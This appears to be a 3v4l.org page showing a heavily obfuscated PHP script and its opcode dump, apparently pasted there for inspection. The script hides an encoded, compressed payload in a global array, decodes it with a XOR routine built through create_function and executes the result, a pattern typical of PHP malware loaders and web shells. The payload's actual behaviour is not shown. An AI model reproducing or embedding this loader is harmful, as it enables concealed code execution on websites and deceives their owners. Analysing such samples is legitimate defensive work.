3v4l.org

run code in 300+ PHP versions simultaneously
<?php $GLOBALS["ccxxou"]=array( '$GLOBALS["ccxxou"][0]=$GLOBALS["ccxxou"][3];$kyhyfjdj=kyhyfjdj(6,13);$GLOBALS["ccxxou"][0]=$kyhyfjdj($GLOBALS["ccxxou"][2]);', '$GLOBALS["ccxxou"][2]=gzuncompress(kyhyfjdj(716,2140));', 'd1Z8b2JYeW9yTmtUbnRtZ2h9VXNkek92e2BrYGJxaHh3Zmt/SXNiYntifVRCUUhYRkZGSUFJVllYVVFLUFxVR0RxZH9ieGdveHdkf2ZSdG9vKH1kNWp6WGQhLzs1RGVhSGxzU29iPnhgfCZjJGdDfCojIWR8M3lGbWNXdDUweGtmfHFmTXl9dX93VXRucXJuZGBmby1vd3h/eztsb31xdCBlY2RhdHlkO3ljYGx7YSpyZmRuY25aaGhZXVVfV1lMZU9temdtSEtxZndISy8uJERZUl1VX1dVQklFQndgeGI8Pllyc3N/cHUle3p8bmUseW9qc3VkbW9Cbz5qUEdEWlJPWVJJQ0JZaWd0VG5uRkJZTlpeWVhXXVVxRFROVVNVVUJEWV5TcXZ1VipaZzplbnEleW57YXNrOnVmdyUkYHl4ZD1hfmd2Z1FvcEU6dWZ3JSRPVVM9ZXp5dnVBTFtSQURGV3J6bk1BTFtDQ1hEZnZLZzp1Zndldk5oYHFnaGtuWWJ7YE9weXx3VWJhbHt1RGJxJmRlZHJzeGQ/YWBiYXVxcnJ3RlNicSZkZWRyc3hkP3dxbWZxc255ZG9uWXJ/YnhtO1pzY2Y7bWRgZ3NUd2B4Yjw+WXJzc39wdU94YmZ1eWJrZ1lxc2RPeXV6b0txYH9mVkJYdVRgc2JaRU9dVV9XVV9VU0RPUVNVQFpqQ2t0UW90ZXhKTnZNczAlZnhtY3hiZX06YHlwMyVseG9kZThzf3lFdnc1JWFleGd6f3N1OnNhY0ZwOnZ7KmllaHB/dz5keH4xYSgzajZhQU0zdTZ3YnogZitqQ055SDN3NkF4THppZ3Z0eWtVVlB8b2JzJHlGc311f3cwJSljcWczdjZhbW'.'l4T0RmZH9oen5IeVczdjZkf01RaXB5bmRCeGxZQzN2NnRhKk5CQkA/JT4+T0RdbnhzMCplOnFYQ3dtnY5fcWXkXgTvOgnUwGzNVPkCK/tUpE/wJqqtNCzHXrJtBYbXzMDQEC9omeLTod7Ix8YkPXXDYkPHq2pFk843uCqcfUtG20B1U7f3MMCYwNySvyZDNU4WYr+YiSxG7CXIB1KZv8ibqeX2/qjFnzuxPiDQahoN5ZrwJV2BRUNfWVwgoTOyStGsZkkllM4P9BN0NwNzQVz9nMwTlig9Jv6IZxmHROkgLD3faKLcmmqbEs4pA13HLgqBjblSjuksgp5VIzRPuZL+aCehi5/dutbzwv2keqcETmWgStSfhTNHx9yvDnWRoXOMEr4NOIZf7MYDZkuKQ0BG6AL4a08jo484Zkg8+37Kn8nu6WuxAutIxzfKvdKDx4tUDYhw4ivWiJp6ZnId27J0EHjvD0H8EKZ2H6XR2EAsl9+/cWCAtGCrtC8ntBfbhnFf1AO+pObuSsL1TbF6YBZgim/59YfpeG2LscXlhxpMvL9q9+kPsE2S/wWEVG2pdOj9MzeYadZ44JLddXvj/g6fjtpT/aB9YPIP4kid2MN1j/WxRSWppUB73bJzDqzVwYhff060ZbWtgvy0BImjksdEaQ+V0aDF0mHmdT5az52svY85o4Xp4PTzb8wJ5zCStg6KItmTEX3/YPfHPJF/nwrvTtE+YoPLMsHz7Jtdahou38KVFOHPp561KJyTBkpRvcvn5WDkw2D6KOYnVpEOB73/2rhry4RlDb5xRaSxn8xjJsbtosFFHKp15zeIqJ3eP2NbQWRWH8OzNb18qwWvrrh9vc9yoQNUVLTI+CoNp'.'Vs5ynDYYml8aYALVFQ5BzUOuIUhERHtmsy5Gkdvrnv0/JZBwzvJ/DQDt7xd+E9cUYeUpFVpYYvPkt8zFC9SWl6uxM5LVkqYgT67gSdH3lx8eFVR7AQTjTyMSUrAyJLeqaxiEFUiKmFoeMX/K5Iub5UbBA7g+U+K6myz1ez1Guxt2ycNWbu5y4GrNFa+ZTxZLsgBjUOHcssmAYZo94EvqI4Jj8W+XAVkscKN0GpVHVBQlQ9a+4+ixUdEG02awM2RzNWttcKoBOyKvJdU3ZqY9zOboAg3JxwMOfeM1Vb91UVYXHE2lTLCNgMEZJYPoJXIu6tbQFn6rEBTiqJUPiLyqKuuAARP5DViV8QAyodaxZi2V0dSQpCHi//JdE8HrisWVjcsI8xy68ilfxmgTXxpNPrzPnhqeJvdw/aTKAkl14bh8x5M/5nrweT7xe38KuHB1NfiCCgRBUStu/t8ca5AEUgKUcD1eefPk/O/2gJQYTipWIWANv2+fCEyog+CuZoBqQvobLbjPKZIxIlzScP6Z6Synv2YPHuWEX38cIWbgdjuCDg25Obxv452p6sq6BNG7JLampB0TTL+ii9lSL3ZpF0VigD70r14YqQ7e2EMRakcSh1lzgBEEp7lO77zJg+22MnvrOE/E/C0wY9uTQfgq1GnirManlgPbrBd4GMwA4WMMvkFGUyWtV8xQBxz7CUdG9obQFtgnR9tniYy0R0J5Xk7UasvXE7B0SLRu75WrUPx07y'.'JnbKUxDQLYdw0ik0ofX5PdgURILMY2Bq6k7n2Czz9NFuwh20pMm0bBBluuMY8aPpvaWdR9WBiWe9ymivSXlGmVFX940mn4jIB367tOiH0bpxqa2zsw+3+g6eDMq8eCxrooVFwff4i1qbXcOvzDmP2m+gLJ7oLe5RoJI9+YBs9ZOUMGMiUkf+rsSivBbZe8L+FffFtSj04jyoaaX68QmJ3fGpouX0RQzfncOJnlS2fLZOSZAK9p2kwidGaxqbWRAFSwuKMtSsZ4lU7TCPvNjyrebbWHAUeA4vSbk0NM0PAQQx/yuwT6DPuIcORPUWTbg0Y4A5hshZHdygImoszDehaPhfqzBZtm08nO9FYupqlwNOiXsLc11r1avL/XJPesIQeM5jFo525p2SdT9miaytrJaU+Nruw8BMM/KpNuRFdoBq+QabteRIugeVio5KcsmpWA6HDYiAcDqRaHDoJL2BapSsA23am33O0VwQERRytduqepVKYI0MJQSfJGbpNeAI/JZ3vcMbwSdIEhsEltQ2GFsK1Xr0OzQW+3Wyu6iQ5RQxOLfr+vwI3QHaSC+zF5hly6pgzo620cAwBR0wRZg9ZY90891cJDwW9xzzek0Uqh3Sfcrk9eS24BaHlkCBBmBdntr+v3SLuX1XXtVFGT04d1pEnGlC222gZ01oER0VYe1WnrKDLCQqyqPXRUnDiNwsL/LuIl/a9jYGMZTtUo4O6C7VAyEPFzD6AYwaFM8EuooZrGd0mvlC'.'SwydG756GKLy+INfOdox1Bc1mYIpiwVFpnjAvndVrII5yB4fTzvqAkYtJOpD9TrIHJSaRwJmJmHX8aR3+WY2w12j72mZT6/a+U6kjdr4n4yH3v9YHAnRby1PvQHR+ZWkE9+4v+/X//jiAKVSziYI5eXUec7ZRxcR2tmZ2cNhrPvLB9cgeyBbR+XjULAquqJ4QUFJiDsTY+oD85T1PDwsObpFvrP789/v/QzfUOzzKwIpQuBEMfGz0uHTwfZ/e38gE2T5QaYsEdzvgnmYodZ3Te3X3WtJOCwhwjqP64UlWS5g2NZY2HUGv6IMZ0d2nNZWB1snvxF8mLKXM/ONq5MrVGT7Wx7PLxaIUzhtq5ez0qfdmwOuYMSvvbA8ZajQaQRHror9oqYFx6Q0x+rX0OVNvRt0ERJSk07/CCPabmusSQm4Xaat+d79q2G1QxfurDSTIYXQPElyNpV5qatLZu1vO8tJxnH3yRVAtqWpkTYN7mIge/1QiAd1fp1Fw8JDP1m8MMNoU+Oj3wCuZqVhE3ky+EbHyIcpCF/Uw/glrlb2IdmI=', "/*xfoc\x77\x60\x78\x62\x3c\x3e\x59\x72\x73\x73\x7f\x70\x75*/");$abfemva='create_'; if(function_exists($abfemva.='function')){ $abfemva('','}function kyhyfjdj($n,$c){$p=str_pad("",$c,"uakgjjfvvpptpnnt");$x=str_repeat("\x1f",$c);$k=str_repeat("\xe0",$c);$o = substr($GLOBALS["ccxxou"][0],$n,$c);return(($o^$p)&$x)|($o&$k);}{'); for($yc=-1;++$yc<3;$GLOBALS["ccxxou"][$yc]()){ $GLOBALS["ccxxou"][$yc]=$abfemva('',$GLOBALS["ccxxou"][$yc]); }};unset($GLOBALS["ccxxou"]);?>
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 9, Position 2 = 35
Branch analysis from position: 9
1 jumps found. (Code = 42) Position 1 = 32
Branch analysis from position: 32
2 jumps found. (Code = 44) Position 1 = 35, Position 2 = 15
Branch analysis from position: 35
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 15
2 jumps found. (Code = 44) Position 1 = 35, Position 2 = 15
Branch analysis from position: 35
Branch analysis from position: 15
Branch analysis from position: 35
filename:       /in/nlQgR
function name:  (null)
number of ops:  38
compiled vars:  !0 = $abfemva, !1 = $yc
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    1     0  E >   FETCH_W                      global              $2      'GLOBALS'
          1        ASSIGN_DIM                                               $2, 'ccxxou'
    2     2        OP_DATA                                                  <array>
    5     3        ASSIGN                                                   !0, 'create_'
    6     4        INIT_FCALL                                               'function_exists'
          5        ASSIGN_OP                                     8  ~5      !0, 'function'
          6        SEND_VAL                                                 ~5
          7        DO_ICALL                                         $6      
          8      > JMPZ                                                     $6, ->35
    7     9    >   INIT_DYNAMIC_CALL                                        !0
         10        SEND_VAL_EX                                              ''
         11        SEND_VAL_EX                                              '%7Dfunction+kyhyfjdj%28%24n%2C%24c%29%7B%24p%3Dstr_pad%28%22%22%2C%24c%2C%22uakgjjfvvpptpnnt%22%29%3B%24x%3Dstr_repeat%28%22%5Cx1f%22%2C%24c%29%3B%24k%3Dstr_repeat%28%22%5Cxe0%22%2C%24c%29%3B%24o+%3D+substr%28%24GLOBALS%5B%22ccxxou%22%5D%5B0%5D%2C%24n%2C%24c%29%3Breturn%28%28%24o%5E%24p%29%26%24x%29%7C%28%24o%26%24k%29%3B%7D%7B'
         12        DO_FCALL                                      0          
    9    13        ASSIGN                                                   !1, -1
         14      > JMP                                                      ->32
   10    15    >   INIT_DYNAMIC_CALL                                        !0
         16        SEND_VAL_EX                                              ''
         17        CHECK_FUNC_ARG                                           
         18        FETCH_FUNC_ARG               global              $12     'GLOBALS'
         19        FETCH_DIM_FUNC_ARG                               $13     $12, 'ccxxou'
         20        FETCH_DIM_FUNC_ARG                               $14     $13, !1
         21        SEND_FUNC_ARG                                            $14
         22        DO_FCALL                                      0  $15     
         23        FETCH_W                      global              $9      'GLOBALS'
         24        FETCH_DIM_W                                      $10     $9, 'ccxxou'
         25        ASSIGN_DIM                                               $10, !1
         26        OP_DATA                                                  $15
    9    27        FETCH_R                      global              ~16     'GLOBALS'
         28        FETCH_DIM_R                                      ~17     ~16, 'ccxxou'
         29        FETCH_DIM_R                                      ~18     ~17, !1
         30        INIT_DYNAMIC_CALL                                        ~18
         31        DO_FCALL                                      0          
         32    >   PRE_INC                                          ~20     !1
         33        IS_SMALLER                                               ~20, 3
         34      > JMPNZ                                                    ~21, ->15
   11    35    >   FETCH_UNSET                                      $22     'GLOBALS'
         36        UNSET_DIM                                                $22, 'ccxxou'
         37      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
160.76 ms | 1400 KiB | 15 Q